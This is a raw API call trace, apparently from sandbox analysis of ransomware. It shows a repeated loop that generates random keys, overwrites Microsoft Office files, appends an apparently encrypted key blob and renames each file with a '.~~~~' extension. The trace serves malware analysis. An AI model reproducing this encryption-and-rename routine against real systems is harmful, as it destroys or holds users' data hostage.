	[0132.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28096f0 | out: hHeap=0x300000) returned 1
	[0132.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.607] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.607] GetLastError () returned 0x0
	[0132.608] GetLastError () returned 0x0
	[0132.608] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.608] GetLastError () returned 0x0
	[0132.608] GetLastError () returned 0x0
	[0132.611] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff2fd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.611] WriteFile (in: hFile=0x13c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd03, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xd03, lpOverlapped=0x0) returned 1
	[0132.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.614] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.614] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.614] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.614] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.614] CloseHandle (hObject=0x13c) returned 1
	[0132.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f13d0
	[0132.614] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css.~~~~")) returned 1
	[0132.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f13d0 | out: hHeap=0x300000) returned 1
	[0132.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.616] GetLastError () returned 0x0
	[0132.616] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.617] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0132.617] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0132.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.618] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25260785258) returned 1
	[0132.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb87ce950, dwHighDateTime=0x1d60e1e)) 
	[0132.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823db0
	[0132.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823db0 | out: hHeap=0x300000) returned 1
	[0132.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.618] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.619] GetLastError () returned 0x0
	[0132.619] GetLastError () returned 0x0
	[0132.619] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.619] GetLastError () returned 0x0
	[0132.619] GetLastError () returned 0x0
	[0132.749] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff89a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.758] WriteFile (in: hFile=0x13c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x766, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x766, lpOverlapped=0x0) returned 1
	[0132.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.771] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.817] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.817] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.817] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.817] CloseHandle (hObject=0x13c) returned 1
	[0132.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0132.817] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css.~~~~")) returned 1
	[0132.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0132.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.819] GetLastError () returned 0x0
	[0132.819] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.820] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.820] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.821] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25281078713) returned 1
	[0132.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb89bdb30, dwHighDateTime=0x1d60e1e)) 
	[0132.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809aa8
	[0132.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809aa8 | out: hHeap=0x300000) returned 1
	[0132.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.821] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.821] GetLastError () returned 0x0
	[0132.822] GetLastError () returned 0x0
	[0132.822] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.822] GetLastError () returned 0x0
	[0132.822] GetLastError () returned 0x0
	[0132.824] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff794, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.824] WriteFile (in: hFile=0x13c, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x86c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x86c, lpOverlapped=0x0) returned 1
	[0132.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.826] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.826] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.826] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.826] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.826] CloseHandle (hObject=0x13c) returned 1
	[0132.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.827] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif.~~~~")) returned 1
	[0132.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.831] GetLastError () returned 0x0
	[0132.832] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.832] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.832] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.833] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25282277931) returned 1
	[0132.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb89e3c90, dwHighDateTime=0x1d60e1e)) 
	[0132.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809a70
	[0132.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809a70 | out: hHeap=0x300000) returned 1
	[0132.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.833] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.833] GetLastError () returned 0x0
	[0132.834] GetLastError () returned 0x0
	[0132.834] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.834] GetLastError () returned 0x0
	[0132.834] GetLastError () returned 0x0
	[0132.835] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffe10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.835] WriteFile (in: hFile=0x13c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x1f0, lpOverlapped=0x0) returned 1
	[0132.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.837] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.837] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.837] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.837] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.838] CloseHandle (hObject=0x13c) returned 1
	[0132.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif.~~~~")) returned 1
	[0132.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.839] GetLastError () returned 0x0
	[0132.839] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.841] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.841] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.841] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25283112663) returned 1
	[0132.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb89e3c90, dwHighDateTime=0x1d60e1e)) 
	[0132.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809a38
	[0132.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809a38 | out: hHeap=0x300000) returned 1
	[0132.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.842] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.842] GetLastError () returned 0x0
	[0132.842] GetLastError () returned 0x0
	[0132.842] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.842] GetLastError () returned 0x0
	[0132.842] GetLastError () returned 0x0
	[0132.844] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffbff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.844] WriteFile (in: hFile=0x13c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x401, lpOverlapped=0x0) returned 1
	[0132.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.846] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.846] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.846] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.846] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.846] CloseHandle (hObject=0x13c) returned 1
	[0132.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.847] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif.~~~~")) returned 1
	[0132.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.848] GetLastError () returned 0x0
	[0133.036] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2908070) returned 1
	[0133.106] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0133.106] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0133.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
